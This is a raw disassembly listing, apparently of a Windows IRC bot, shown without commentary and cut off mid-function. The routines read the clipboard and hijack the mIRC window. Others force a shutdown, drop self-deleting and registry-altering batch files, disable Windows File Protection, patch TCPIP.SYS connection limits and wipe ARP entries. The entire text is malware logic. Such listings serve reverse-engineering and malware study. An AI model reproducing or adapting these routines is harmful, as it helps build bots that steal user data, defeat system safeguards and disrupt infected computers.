pop esi
pop ebp
retn
sub_40A74C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A7DD proc near ; CODE XREF: sub_40F576+ECp
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_417430
mov esi, [ebp+arg_0]
push esi
call sub_417AF0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_40A813
or eax, 0FFFFFFFFh
jmp short loc_40A886
; ---------------------------------------------------------------------------
loc_40A813: ; CODE XREF: sub_40A7DD+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_40A835
loc_40A81F: ; CODE XREF: sub_40A7DD+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_40A82C
cmp dl, 0Dh
jnz short loc_40A830
loc_40A82C: ; CODE XREF: sub_40A7DD+48j
and byte ptr [ecx+esi], 0
loc_40A830: ; CODE XREF: sub_40A7DD+4Dj
inc ecx
cmp ecx, eax
jl short loc_40A81F
loc_40A835: ; CODE XREF: sub_40A7DD+40j
xor edx, edx
push edi
test eax, eax
jle short loc_40A866
lea edi, [ebp+var_7CC]
loc_40A842: ; CODE XREF: sub_40A7DD+87j
cmp byte ptr [edx+esi], 0
jnz short loc_40A861
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_40A861
cmp ebx, 1F4h
jge short loc_40A866
mov [edi], ecx
inc ebx
add edi, 4
loc_40A861: ; CODE XREF: sub_40A7DD+69j
; sub_40A7DD+74j
inc edx
cmp edx, eax
jl short loc_40A842
loc_40A866: ; CODE XREF: sub_40A7DD+5Dj
; sub_40A7DD+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_40A884
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_417490
add esp, 0Ch
loc_40A884: ; CODE XREF: sub_40A7DD+8Ej
mov eax, ebx
loc_40A886: ; CODE XREF: sub_40A7DD+34j
pop esi
pop ebx
leave
retn
sub_40A7DD endp
; =============== S U B R O U T I N E =======================================
sub_40A88A proc near ; CODE XREF: sub_40A8E4+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
loc_40A899: ; DATA XREF: ___:004258FCo
; ___:00425940o ...
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_40A8C3
push ebx
mov ebx, edi
loc_40A8A7: ; CODE XREF: sub_40A88A+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_40A8C6
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_40A8A7
pop ebx
loc_40A8C3: ; CODE XREF: sub_40A88A+18j
pop edi
pop esi
retn
sub_40A88A endp
; =============== S U B R O U T I N E =======================================
sub_40A8C6 proc near ; CODE XREF: sub_40A88A+25p
; sub_40A8E4+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_4187E1
cmp al, 61h
pop ecx
jl short loc_40A8E1
cmp al, 7Ah
jg short loc_40A8E1
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_40A8E1: ; CODE XREF: sub_40A8C6+Ej
; sub_40A8C6+12j
xor eax, eax
retn
sub_40A8C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A8E4 proc near ; CODE XREF: sub_40C5D7+10p
; sub_40C609+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_417B70
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_417AF0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_417AF0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_40A88A
add esp, 14h
dec esi
mov edi, esi
loc_40A922: ; CODE XREF: sub_40A8E4+B6j
test esi, esi
jle short loc_40A9A0
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_4187E1
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_4187E1
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40A998
loc_40A948: ; CODE XREF: sub_40A8E4+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_40A8C6
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_40A969
mov eax, ecx
loc_40A969: ; CODE XREF: sub_40A8E4+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_40A99C
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_4187E1
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_4187E1
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_40A948
loc_40A998: ; CODE XREF: sub_40A8E4+62j
dec edi
dec esi
jmp short loc_40A922
; ---------------------------------------------------------------------------
loc_40A99C: ; CODE XREF: sub_40A8E4+8Aj
xor eax, eax
jmp short loc_40A9A5
; ---------------------------------------------------------------------------
loc_40A9A0: ; CODE XREF: sub_40A8E4+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_40A9A5: ; CODE XREF: sub_40A8E4+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_40A8E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A9AA proc near ; CODE XREF: sub_40F6F1+3D85p
; sub_40F6F1+4D5Dp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
nop
call near ptr 7C910331h
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
nop
call near ptr 7C82F7A0h
lea eax, [ebp+var_100]
loc_40A9E3: ; CODE XREF: sub_40A9AA+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_40A9EF
cmp cl, 9
jnz short loc_40A9F2
loc_40A9EF: ; CODE XREF: sub_40A9AA+3Ej
inc eax
jmp short loc_40A9E3
; ---------------------------------------------------------------------------
loc_40A9F2: ; CODE XREF: sub_40A9AA+43j
; sub_40A9AA+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_40AA0C
mov cl, [eax]
cmp cl, 2Eh
jz short loc_40A9F2
cmp cl, 21h
jl short loc_40A9F2
loc_40AA0C: ; CODE XREF: sub_40A9AA+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4414E8
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41792A
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40A9AA endp
; =============== S U B R O U T I N E =======================================
sub_40AA34 proc near ; CODE XREF: sub_40F6F1+586Ep
push esi
push 0
call dword_441388 ; OpenClipboard
test eax, eax
jz short loc_40AA6B
push 1
call dword_4413A8 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_40AA6B
push edi
push esi
nop
call near ptr 7C80FF19h
push esi
mov edi, eax
nop
call near ptr 7C80FE82h
call dword_44140C ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AA6B: ; CODE XREF: sub_40AA34+Bj
; sub_40AA34+19j
xor eax, eax
pop esi
retn
sub_40AA34 endp
; =============== S U B R O U T I N E =======================================
sub_40AA6F proc near ; CODE XREF: sub_40F6F1+4B4Dp
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call dword_4413C4 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_40AAEB
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
nop
call near ptr 7C80945Ch
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
nop
call near ptr 7C80B905h
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_4173AC
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_441414 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_441414 ; SendMessageA
push ebx
nop
call near ptr 7C80B974h
push edi
nop
call near ptr 7C809B47h
push 1
pop eax
pop ebx
jmp short loc_40AAED
; ---------------------------------------------------------------------------
loc_40AAEB: ; CODE XREF: sub_40AA6F+16j
xor eax, eax
loc_40AAED: ; CODE XREF: sub_40AA6F+7Aj
pop edi
pop esi
pop ebp
retn
sub_40AA6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AAF1 proc near ; CODE XREF: ___:0040EE50p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_441474 ; SearchPathA
test eax, eax
jz short loc_40AB90
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_421088
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40AB90
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
nop
call near ptr 7C831C45h
push ebx
mov ebx, dword_42107C
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40AB90
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
nop
call near ptr 7C831CB8h
push esi
call ebx ; CloseHandle
loc_40AB90: ; CODE XREF: sub_40AAF1+2Aj
; sub_40AAF1+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40AAF1 endp
; =============== S U B R O U T I N E =======================================
sub_40AB95 proc near ; CODE XREF: sub_40F6F1+1401p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_415B28
pop ecx
pop ecx
push 50005h
push 6
call dword_441300 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_40AB95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ABB7 proc near ; CODE XREF: sub_40D091+472p
; sub_40F6F1+5B03p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_42ECF4, esi
push edi
jz short loc_40ABDB
cmp dword_441488, esi
jnz short loc_40ABDB
push esi
call sub_40C738
pop ecx
loc_40ABDB: ; CODE XREF: sub_40ABB7+13j
; sub_40ABB7+1Bj
call sub_417021
lea eax, [ebp+var_764]
push eax
push 400h
nop
call near ptr 7C835DCAh
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_4173AC
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
nop
call near ptr 7C801A24h
mov edi, eax
cmp edi, esi
jbe loc_40AD3B
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_4173AC
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
nop
call near ptr 7C810D87h
push edi
nop
call near ptr 7C809B47h
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_417430
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_417430
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43C63C
mov [ebp+var_2C], 1
mov [ebp+var_28], si
nop
call near ptr 7C80B6A1h
push eax
nop
call near ptr 7C80B4CFh
lea eax, [ebp+var_15C]
push eax
nop
call near ptr 7C81153Ch
cmp eax, 0FFFFFFFFh
jz short loc_40ACE3
lea eax, [ebp+var_15C]
push 80h
push eax
nop
call near ptr 7C812782h
loc_40ACE3: ; CODE XREF: sub_40ABB7+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_4173AC
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
nop
call near ptr 7C8329D9h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
nop
call near ptr 7C802367h
loc_40AD3B: ; CODE XREF: sub_40ABB7+72j
pop edi
pop esi
leave
retn
sub_40ABB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AD3F proc near ; CODE XREF: ___:0040EC5Fp
var_1860 = byte ptr -1860h
var_158 = byte ptr -158h
var_58 = byte ptr -58h
var_48 = dword ptr -48h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 1860h
call sub_417B70
push esi
push edi
mov ecx, 5C1h
mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
lea edi, [ebp+var_1860]
lea eax, [ebp+var_158]
rep movsd
movsw
push offset aCA_bat ; "c:\\a.bat"
push eax
movsb
call sub_4173AC
pop ecx
xor esi, esi
pop ecx
lea eax, [ebp+var_158]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
nop
call near ptr 7C801A24h
mov edi, eax
cmp edi, esi
jbe short loc_40ADF9
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_1860]
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_1860]
push eax
push edi
nop
call near ptr 7C810D87h
push edi
nop
call near ptr 7C809B47h
push 44h
lea eax, [ebp+var_48]
pop edi
push edi
push esi
push eax
call sub_417430
add esp, 0Ch
lea ecx, [ebp+var_58]
mov [ebp+var_48], edi
mov [ebp+var_18], si
push 1
pop eax
push ecx
lea ecx, [ebp+var_48]
push ecx
push esi
push esi
push 28h
mov [ebp+var_1C], eax
push eax
push esi
lea eax, [ebp+var_158]
push esi
push eax
push esi
nop
call near ptr 7C802367h
loc_40ADF9: ; CODE XREF: sub_40AD3F+55j
pop edi
pop esi
leave
retn
sub_40AD3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADFD proc near ; CODE XREF: ___:0041612Ap
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
cmp [ebp+arg_0], 0
push esi
push edi
jz loc_40AE8F
push offset byte_43C63C
push [ebp+arg_0]
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_40AE8F
push 20h
lea eax, [ebp+var_20]
push [ebp+arg_0]
push eax
call sub_4182F0
mov esi, offset a_ ; "."
lea eax, [ebp+var_20]
push esi
push eax
call sub_41824D
add esp, 14h
test eax, eax
jz short loc_40AE8F
push eax
call sub_41791F
push esi
push 0
mov edi, eax
call sub_41824D
add esp, 0Ch
test eax, eax
jz short loc_40AE8F
push eax
call sub_41791F
cmp edi, 0Ah
pop ecx
jz short loc_40AE8A
cmp edi, 0ACh
jnz short loc_40AE7B
cmp eax, 0Fh
jle short loc_40AE8F
cmp eax, 20h
jl short loc_40AE8A
loc_40AE7B: ; CODE XREF: sub_40ADFD+72j
cmp edi, 0C0h
jnz short loc_40AE8F
cmp eax, 0A8h
jnz short loc_40AE8F
loc_40AE8A: ; CODE XREF: sub_40ADFD+6Aj
; sub_40ADFD+7Cj
push 1
pop eax
jmp short loc_40AE91
; ---------------------------------------------------------------------------
loc_40AE8F: ; CODE XREF: sub_40ADFD+Cj
; sub_40ADFD+23j ...
xor eax, eax
loc_40AE91: ; CODE XREF: sub_40ADFD+90j
pop edi
pop esi
leave
retn
sub_40ADFD endp
; =============== S U B R O U T I N E =======================================
sub_40AE95 proc near ; CODE XREF: sub_4013E9+7p
; sub_40198C+7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4413F8 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40AEBD
push [esp+arg_0]
call dword_44143C ; gethostbyname
test eax, eax
jnz short loc_40AEB6
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40AEB6: ; CODE XREF: sub_40AE95+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40AEBD: ; CODE XREF: sub_40AE95+Dj
retn
sub_40AE95 endp
; =============== S U B R O U T I N E =======================================
sub_40AEBE proc near ; CODE XREF: sub_40F326+9Bp
mov ecx, dword_4412E0
xor eax, eax
test ecx, ecx
jz short locret_40AECC
call ecx ; DnsFlushResolverCache
locret_40AECC: ; CODE XREF: sub_40AEBE+Aj
retn
sub_40AEBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AECD proc near ; CODE XREF: sub_40F6F1:loc_414F13p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_441434 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40AF93
sub ecx, 32h
jz loc_40AF8C
sub ecx, 48h
jz short loc_40AF2D
sub ecx, 6Eh
jz short loc_40AF26
loc_40AF0F: ; CODE XREF: sub_40AECD+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42D0F0
push eax
call sub_4173AC
add esp, 0Ch
jmp short loc_40AF6D
; ---------------------------------------------------------------------------
loc_40AF26: ; CODE XREF: sub_40AECD+40j
push offset unk_42D0BC
jmp short loc_40AF5F
; ---------------------------------------------------------------------------
loc_40AF2D: ; CODE XREF: sub_40AECD+3Bj
push [ebp+var_8]
call sub_417BEE
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_417430
add esp, 10h
cmp esi, edi
jz short loc_40AF5A
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_441434 ; GetIpNetTable
cmp eax, edi
jz short loc_40AF93
jmp short loc_40AF0F
; ---------------------------------------------------------------------------
loc_40AF5A: ; CODE XREF: sub_40AECD+79j
push offset unk_42D07C
loc_40AF5F: ; CODE XREF: sub_40AECD+5Ej
; sub_40AECD+C4j
lea eax, [ebp+var_88]
push eax
call sub_4173AC
pop ecx
pop ecx
loc_40AF6D: ; CODE XREF: sub_40AECD+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_40C4F7
pop ecx
loc_40AF7D: ; CODE XREF: sub_40AECD+C8j
; sub_40AECD+DCj
push esi
call sub_417C62
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40AF8C: ; CODE XREF: sub_40AECD+32j
push offset unk_42D03C
jmp short loc_40AF5F
; ---------------------------------------------------------------------------
loc_40AF93: ; CODE XREF: sub_40AECD+29j
; sub_40AECD+89j
cmp [esi], edi
jbe short loc_40AF7D
lea ebx, [esi+4]
loc_40AF9A: ; CODE XREF: sub_40AECD+DAj
push ebx
call dword_441430 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40AF9A
jmp short loc_40AF7D
sub_40AECD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AFAB proc near ; CODE XREF: sub_401447+243p
; sub_401D79+268p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_44135C ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4416EC
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_4173AC
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AFAB endp
; =============== S U B R O U T I N E =======================================
sub_40B004 proc near ; CODE XREF: sub_4010B2+24Cp
; sub_4010B2+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40B02D
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40B020: ; CODE XREF: sub_40B004+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40B020
pop edi
jmp short loc_40B031
; ---------------------------------------------------------------------------
loc_40B02D: ; CODE XREF: sub_40B004+Aj
mov edx, [esp+4+arg_0]
loc_40B031: ; CODE XREF: sub_40B004+27j
test esi, esi
pop esi
jz short loc_40B03B
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40B03B: ; CODE XREF: sub_40B004+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40B004 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B051 proc near ; CODE XREF: sub_40F326+10Dp
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_80 = byte ptr -80h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
nop
call near ptr 7C812ADEh
cmp [ebp+var_90], 5
jnz short loc_40B09C
cmp [ebp+var_8C], 1
jnz short loc_40B09C
lea eax, [ebp+var_80]
push offset a2 ; "2"
push eax
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_40B09C
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B09C: ; CODE XREF: sub_40B051+27j
; sub_40B051+30j ...
xor eax, eax
leave
retn
sub_40B051 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B0A0 proc near ; CODE XREF: sub_40B0E7+A1p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+var_200]
push 100h
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push 0
push 0
nop
call near ptr 7C809BF8h
push offset aSfc_os_dll ; "sfc_os.dll"
nop
call near ptr 7C801D77h
push 5
push eax
nop
call near ptr 7C80ADA0h
lea ecx, [ebp+var_200]
push 0FFFFFFFFh
push ecx
push 0
call eax
leave
retn
sub_40B0A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B0E7 proc near
var_3B0 = dword ptr -3B0h
var_3A0 = byte ptr -3A0h
var_1A0 = dword ptr -1A0h
var_19C = dword ptr -19Ch
var_198 = byte ptr -198h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_88 = byte ptr -88h
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3A0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 46h
mov esi, eax
pop ecx
lea edi, [ebp+var_1A0]
rep movsd
push 1
mov edx, offset dword_42D1A4
pop esi
mov ecx, offset dword_42D1A0
mov [eax+114h], esi
mov eax, offset dword_441700
xor ebx, ebx
push esi
mov [ebp+var_50], offset dword_42D19C
mov [ebp+var_4C], offset dword_42D198
mov [ebp+var_48], offset dword_42D194
mov [ebp+var_44], eax
mov [ebp+var_40], edx
mov [ebp+var_3C], ecx
mov [ebp+var_38], eax
mov [ebp+var_34], eax
mov [ebp+var_70], offset dword_42D190
mov [ebp+var_6C], offset dword_42D18C
mov [ebp+var_68], offset dword_42D188
mov [ebp+var_64], eax
mov [ebp+var_60], edx
mov [ebp+var_5C], ecx
mov [ebp+var_58], eax
mov [ebp+var_54], eax
mov [ebp+var_8], ebx
call sub_417BEE
mov [ebp+var_C], eax
mov [ebp+var_10], ebx
mov [esp+3B0h+var_3B0], 7530h
nop
call near ptr 7C802442h
lea eax, [ebp+var_198]
push eax
call sub_40B0A0
pop ecx
mov edi, 80h
lea eax, [ebp+var_198]
push edi
push eax
nop
call near ptr 7C812782h
push ebx
push edi
push 3
push ebx
push esi
lea eax, [ebp+var_198]
push 80000000h
push eax
nop
call near ptr 7C801A24h
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40B1E0
lea ecx, [ebp+var_80]
push ecx
lea ecx, [ebp+var_78]
push ecx
lea ecx, [ebp+var_88]
push ecx
push eax
nop
call near ptr 7C831C45h
push [ebp+arg_0]
nop
call near ptr 7C809B47h
loc_40B1E0: ; CODE XREF: sub_40B0E7+D8j
lea eax, [ebp+var_198]
push offset aRB ; "r+b"
push eax
call sub_41823A
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jnz short loc_40B237
push [ebp+var_94]
lea eax, [ebp+var_3A0]
push offset aCanNotOpenTcpi ; "Can not open TCPIP.SYS, version %d."
push 200h
push eax
call sub_41792A
lea eax, [ebp+var_3A0]
push eax
call sub_40C4F7
push [ebp+var_19C]
call sub_417174
add esp, 18h
push ebx
nop
call near ptr 7C80C058h
loc_40B237: ; CODE XREF: sub_40B0E7+111j
mov eax, [ebp+var_94]
dec eax
jz loc_40B300
dec eax
jnz loc_40B3AE
mov [ebp+var_30], 130h
mov [ebp+var_2C], 131h
mov [ebp+var_28], 132h
mov [ebp+var_24], 133h
mov [ebp+var_20], 4F5A2h
mov [ebp+var_1C], 4F5A3h
mov [ebp+var_18], 4F5A4h
mov [ebp+var_14], 4F5A5h
mov [ebp+var_4], ebx
loc_40B286: ; CODE XREF: sub_40B0E7+1DEj
mov eax, [ebp+var_4]
push ebx
push [ebp+eax+var_30]
push [ebp+arg_0]
call sub_4183EE
push [ebp+arg_0]
push esi
push esi
push [ebp+var_C]
call sub_418132
mov eax, [ebp+var_4]
push esi
push [ebp+eax+var_70]
push [ebp+var_C]
call sub_418480
add esp, 28h
test eax, eax
jnz short loc_40B2BD
inc [ebp+var_8]
loc_40B2BD: ; CODE XREF: sub_40B0E7+1D1j
add [ebp+var_4], 4
cmp [ebp+var_4], 20h
jl short loc_40B286
cmp [ebp+var_8], 8
jge loc_40B3AE
mov [ebp+var_10], esi
loc_40B2D4: ; CODE XREF: sub_40B0E7+212j
push 0
push [ebp+ebx+var_30]
push [ebp+arg_0]
call sub_4183EE
push [ebp+arg_0]
push esi
push esi
push [ebp+ebx+var_70]
call sub_4188AC
add ebx, 4
add esp, 1Ch
cmp ebx, 20h
jl short loc_40B2D4
jmp loc_40B3AC
; ---------------------------------------------------------------------------
loc_40B300: ; CODE XREF: sub_40B0E7+157j
mov [ebp+var_30], 130h
mov [ebp+var_2C], 131h
mov [ebp+var_28], 132h
mov [ebp+var_24], 133h
mov [ebp+var_20], 4F322h
mov [ebp+var_1C], 4F323h
mov [ebp+var_18], 4F324h
mov [ebp+var_14], 4F325h
mov [ebp+var_4], ebx
loc_40B33B: ; CODE XREF: sub_40B0E7+293j
mov eax, [ebp+var_4]
push ebx
push [ebp+eax+var_30]
push [ebp+arg_0]
call sub_4183EE
